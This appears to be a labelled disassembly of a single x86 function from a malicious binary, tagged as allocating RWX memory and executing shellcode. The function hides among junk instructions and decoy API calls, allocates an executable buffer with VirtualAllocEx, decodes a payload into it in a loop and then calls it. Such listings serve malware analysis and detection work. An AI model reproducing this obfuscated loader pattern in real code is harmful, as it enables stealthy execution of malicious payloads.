Function at 0x100018c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov edx, dword [0x10052134]
mov eax, dword [ebp - 0x18]
mov edx, 0x20
mov eax, dword [0x10052004]
cmp eax, 1
jns 0x1000190b
mov eax, dword [0x10051eec]
mov edi, dword [ebp - 8]
mov edx, 0x8f
mov eax, dword [ebp - 0x10]
mov eax, dword [0x10051ed4]
mov dword [ebp - 0xc], esi
mov dword [0x10051ee8], eax
mov dword [0x10052048], esi
mov dword [ebp - 8], eax
or esi, dword [ebp - 8]
mov dword [0x10051ff8], edi
call fcn.10001d3f
mov eax, dword [0x10051e08]
mov esi, dword [ebp - 0x14]
mov ax, 0xd
cmp dword [0x10051e48], 0x81
jl 0x1000195a
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov edi, dword [0x100520d8]
mov esi, dword [ebp - 0x14]
mov esi, 0x1f
mov eax, dword [0x10051fd0]
mov ecx, 4
inc dword [ebp - 0xc]
mov dword [0x10051ef8], eax
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
call fcn.100016ec
mov eax, dword [0x1005213c]
mov edi, dword [ebp - 0x18]
mov ax, 0x72
mov eax, dword [ebp - 8]
mov edx, dword [0x10051dd0]
mov eax, 1
cmp dword [0x10051d9c], eax
ja 0x1000199e
mov dword [ebp - 0x14], eax
mov eax, dword [0x10051ea4]
mov eax, dword [ebp - 0x10]
add edx, eax
mov dword [ebp - 0x10], edi
mov dword [0x10051f84], eax
mov dword [0x10052120], eax
mov dword [ebp - 0x10], edi
call sub.KERNEL32.DLL_GetThreadLocale
and ecx, dword [0x10051f4c]
mov esi, dword [ebp - 8]
add eax, eax
mov edx, dword [ebp - 0xc]
add eax, eax
cmp eax, 1
jl 0x100019e3
mov ecx, dword [0x10052160]
mov edi, dword [0x10051f60]
mov edx, dword [ebp - 0xc]
sub edi, eax
mov dword [ebp - 0x10], edx
xor dword [0x1005200c], eax
mov dword [ebp - 0xc], edx
mov dword [0x10051d9c], edx
mov dword [0x100520c4], eax
mov dword [0x100520a4], eax
mov dword [ebp - 0x10], eax
call fcn.1000188a
mov eax, dword [0x10052154]
mov eax, dword [ebp - 0x18]
add eax, ecx
mov esi, dword [ebp - 0x14]
mov edi, dword [0x10051ea8]
cmp dword [0x10051ff4], eax
je 0x10001a36
add eax, dword [ebp - 0x14]
mov edi, dword [0x10051ef8]
mov edi, dword [ebp - 0x18]
mov ax, 0
mov esi, dword [ebp - 0x10]
mov eax, dword [0x10051f58]
sub eax, eax
mov dword [ebp - 0x14], eax
mov dword [0x10051ec8], edi
mov dword [ebp - 0xc], eax
mov dword [0x10052140], eax
mov eax, dword [0x10051f0c]
mov eax, dword [ebp - 0x14]
mov eax, dword [sym.imp.USER32.DLL_GetMenu]
inc eax
mov esi, dword [eax]
cmp esi, dword [0x10051d6c]
jne 0x10001a43
dec eax
mov edx, dword [eax]
mov dword [0x10051f40], edx
mov ecx, dword [0x10052000]
mov eax, dword [ebp - 0x18]
sub edi, ecx
cmp eax, dword [ebp + 0x87]
jae 0x10001a90
mov eax, dword [0x10052010]
mov eax, dword [ebp - 0x14]
sub edx, esi
mov eax, dword [ebp - 0x10]
mov edi, dword [0x10051e34]
sub eax, eax
mov dword [ebp - 8], esi
mov dword [0x10052118], eax
mov dword [ebp - 0x18], esi
mov dword [0x10051d9c], edi
mov dword [0x1005214c], ecx
mov dword [0x10051db4], esi
push 0xbb
mov dword [ebp - 0x18], ecx
push 0
call sub.USER32.DLL_LoadIconA
mov eax, dword [0x10051e4c]
mov eax, dword [ebp - 0xc]
add edi, eax
add edi, edx
cmp dword [0x10051d9c], eax
jbe 0x10001ae3
mov edi, dword [0x10052034]
mov ecx, dword [ebp - 8]
mov edi, 0x57
mov eax, dword [ebp - 0x18]
sub edx, eax
mov dword [ebp - 8], edx
mov dword [0x1005214c], edx
mov dword [ebp - 0xc], eax
mov dword [0x10051f68], eax
push 0x40
push 0x1000
push 0x20000
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [0x10052094], eax
mov eax, dword [0x10052160]
mov edi, dword [ebp - 0x14]
mov dx, 0x80
mov ecx, dword [0x10052118]
mov eax, 0x4e
cmp dword [0x10052168], eax
jl 0x10001b43
mov edx, dword [0x10052054]
mov eax, dword [ebp - 8]
mov cx, 0x10
mov eax, dword [ebp - 8]
mov eax, dword [0x10052098]
mov dword [ebp - 0xc], edx
mov dword [0x10052118], eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [0x10052100]
mov dword [0x10051d9c], esi
call sub.KERNEL32.DLL_GetThreadLocale
mov ecx, dword [0x10051ee0]
mov esi, dword [ebp - 8]
mov cx, 0x22
mov ecx, dword [ebp - 0x18]
cmp edi, dword [0x10051d9c]
jbe 0x10001b8a
mov eax, dword [0x10051d9c]
mov esi, dword [ebp - 0x14]
mov dx, 0xda
mov edi, dword [0x10052028]
mov dword [ebp - 0xc], edx
mov dword [0x100520d4], edi
mov dword [ebp - 0x18], edi
mov esi, dword [0x10051f48]
mov esi, dword [ebp - 0x10]
mov eax, dword [0x1005215c]
push eax
lea eax, [ebp - 0x14]
xor dword [ebp - 0xc], eax
mov dword [0x100520cc], esi
push eax
call sub.USER32.DLL_KillTimer
mov eax, dword [0x10051dd0]
mov edx, dword [ebp - 0x18]
mov dx, 0x40
mov eax, dword [ebp - 8]
add eax, ecx
cmp dword [0x10051e7c], eax
ja 0x10001be1
mov dword [ebp - 0x14], eax
mov eax, dword [0x10051dd0]
mov edi, dword [ebp - 0x10]
mov ax, 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [0x10051e7c], edx
mov dword [ebp - 8], esi
mov dword [0x10051d9c], eax
mov ecx, dword [ebp - 0xc]
push 0x81
mov dword [ebp - 0x14], eax
push 0
call sub.USER32.DLL_LoadIconA
mov eax, dword [0x10051dd4]
mov eax, dword [ebp - 8]
mov ax, 0x40
mov ecx, dword [ebp - 0x18]
cmp eax, dword [0x100520d0]
je 0x10001c25
mov ecx, dword [0x10052130]
and edx, dword [ebp - 0xc]
mov eax, 0x57
mov eax, dword [0x10052164]
mov dword [ebp - 0xc], edi
mov dword [0x10051e90], eax
mov esi, dword [0x10052094]
mov ecx, 0x2d3
mov eax, dword [0x10051f40]
add eax, 0x10f89bfa
mov edx, dword [eax]
add edx, 0xd07858c5
mov dword [esi], edx
sub eax, 0xfffffffc
sub esi, 0xfffffffc
add ecx, 0xffffffff
cmp ecx, 0
jne 0x10001c3b
mov esi, dword [0x10051f30]
mov edi, dword [ebp - 0xc]
mov eax, 0x82
mov edi, dword [0x1005201c]
cmp edi, edx
jne 0x10001c91
mov eax, dword [0x10052138]
mov eax, dword [ebp - 0xc]
add eax, ecx
mov eax, dword [0x10051e90]
mov dword [ebp - 0x18], eax
mov dword [0x10051e44], esi
mov dword [ebp - 0x18], edi
mov dword [0x100520b8], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], esi
push 0x1685
push 0
call sub.USER32.DLL_LoadIconA
mov eax, dword [0x10051eec]
mov edi, dword [ebp - 0x10]
sub eax, edi
mov eax, dword [0x10051de8]
mov eax, 0x80
cmp edx, dword [0x1005212c]
jg 0x10001cde
mov ecx, dword [0x10051e14]
mov edx, dword [ebp - 8]
mov si, 0x40
mov edi, dword [ebp - 0xc]
mov di, 0x20
mov dword [ebp - 8], edx
mov dword [0x1005216c], eax
mov dword [ebp - 0xc], eax
mov dword [0x10051dd8], ecx
mov dword [ebp - 0x18], eax
call sub.KERNEL32.DLL_GetThreadLocale
mov esi, dword [0x10051d9c]
mov eax, dword [ebp - 0x14]
mov ax, 0x1c
mov edi, dword [0x10051dbc]
mov dx, 0xa1
cmp dword [0x10051f80], eax
jns 0x10001d2f
mov edx, dword [0x10052100]
mov eax, dword [0x10051e14]
mov esi, dword [0x10051ebc]
mov edi, dword [ebp - 0x10]
add esi, edi
mov eax, 8
mov dword [ebp - 0x18], eax
mov dword [0x10051d9c], edx
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x18]
mov dword [0x10051f84], eax
mov eax, dword [0x10052094]
call eax
mov esp, ebp
pop ebp
ret